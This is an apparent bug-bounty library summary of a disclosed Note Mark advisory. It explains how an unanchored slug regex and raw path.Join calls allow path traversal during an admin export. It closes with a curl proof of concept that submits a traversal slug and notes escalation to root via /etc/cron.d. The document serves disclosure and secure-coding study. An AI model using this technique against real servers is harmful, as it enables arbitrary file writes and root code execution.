# Note Mark: Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p)

Unanchored huma pattern lets traversal slugs into Note Mark books/notes; admin migrate export joins them into paths, writing files outside export dir as root.

- Payout: Research
- Severity: high
- Program: Note Mark
- Found by: tonghuaroot, Yunkaiwjs
- Disclosed: 2026-07-09
- CVE: CVE-2026-50553
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rqrh-8wpv-x7hh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rqrh-8wpv-x7hh
- Tags: area:web domain:oss domain:web impact:integrity impact:rce kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:access-control vuln:path-traversal

**Target:** Go backend CLI migrate export / book & note slug API
**Root cause:** huma compiles the `pattern:"[a-z0-9-]+"` tag unanchored and validates with MatchString, so any slug containing one allowed char passes; export functions then path.Join raw book.Slug/note.Slug into the output path.
**Steps:**
1. `POST /api/books` with `{"name":"x","slug":"../../../../../../tmp/nmpoc-escape"}` — passes unanchored `[a-z0-9-]+` (matches `tmp`), stored verbatim
2. Add a note under that book with any valid slug
3. Admin runs `note-mark migrate export-v1 --export-dir /data/backup` (root)
4. Exporter does `path.Join(exportDir, username, book.Slug)` → `/tmp/nmpoc-escape`, `os.MkdirAll`, then `os.Create(path.Join(noteDir,"_index.md"))` writes outside export root
**How found:** Noticed the sibling GHSA-g49p fix sanitized only `asset.Name` with filepath.Base while adjacent book.Slug/note.Slug in the same path.Join calls stayed raw; then traced the input guard to huma's unanchored regexp.MustCompile/MatchString and confirmed `../../tmp/escape` matches the `tmp` substring.
**Exploitation:** Any registered user stores a traversing slug; when an admin runs the export CLI (commonly root in Docker), attacker-chosen directories are created and `_index.md` written to arbitrary paths such as `/etc/cron.d/`, yielding root code execution.
**Escalation:** Root-run export turns arbitrary file write into persistence/code execution via cron.d or systemd unit paths.
**Insight:** When a framework compiles a `pattern` tag, check whether it anchors — Go's regexp.MatchString is substring-based, so `[a-z0-9-]+` accepts `../`; also audit every path component in a Join, not just the one a prior CVE fixed.

## Proof of concept (copied exactly from the original report)

**curl PoC creating book with traversal slug**

```
curl -s -X POST localhost:8080/api/books -H 'Content-Type: application/json' \
  -b "Auth-Session-Token=$TOKEN" \
  -d '{"name":"x","slug":"../../../../../../tmp/nmpoc-escape"}'
#    response echoes "slug":"../../../../../../tmp/nmpoc-escape" (accepted, 200/201)
# 4. add a note under that book (any valid note slug), then trigger admin export
docker exec nm /note-mark migrate export-v1 --export-dir /data/backup
# 5. observe the note _index.md written outside /data/backup
docker exec nm ls -la /tmp/nmpoc-escape/
```

